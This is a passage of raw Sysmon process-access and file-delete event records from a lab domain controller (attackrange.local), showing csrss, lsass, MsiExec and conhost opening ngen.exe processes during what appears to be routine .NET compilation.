14:43:46.823{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0608-00000000F001}2892C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.823{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0508-00000000F001}1660c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.823{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-0508-00000000F001}1660c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.806{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0308-00000000F001}580c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.806{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0308-00000000F001}580c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.790{7BD73061-6F22-613B-0408-00000000F001}68606804C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-0308-00000000F001}580c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.790{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0408-00000000F001}6860C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 23542300x800000000000000039321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.790{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EBAD1B740933EF5E57724C3F922C3883,SHA256=CEB439B31AC6A131108402BBAE1777DFBEF4B1396BD0106F046C15B9595908F6,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.790{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0308-00000000F001}580c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.775{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-0308-00000000F001}580c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.775{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0108-00000000F001}6292c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.775{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0108-00000000F001}6292c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.759{7BD73061-6F22-613B-0208-00000000F001}63206772C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-0108-00000000F001}6292c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.743{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0208-00000000F001}6320C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.743{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0108-00000000F001}6292c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.743{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-0108-00000000F001}6292c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.728{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-FF07-00000000F001}3944c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.728{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-FF07-00000000F001}3944c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.712{7BD73061-6F22-613B-0008-00000000F001}51846708C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-FF07-00000000F001}3944c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.712{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0008-00000000F001}5184C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.712{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-FF07-00000000F001}3944c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.696{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-FF07-00000000F001}3944c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.696{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-FD07-00000000F001}1304c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.696{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-FD07-00000000F001}1304c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.681{7BD73061-6F22-613B-FE07-00000000F001}38766952C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-FD07-00000000F001}1304c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.665{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-FE07-00000000F001}3876C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.665{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-FD07-00000000F001}1304c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.665{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-FD07-00000000F001}1304c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.650{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-FB07-00000000F001}6652c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.650{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-FB07-00000000F001}6652c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.634{7BD73061-6F22-613B-FC07-00000000F001}34806216C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-FB07-00000000F001}6652c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.634{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-FC07-00000000F001}3480C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 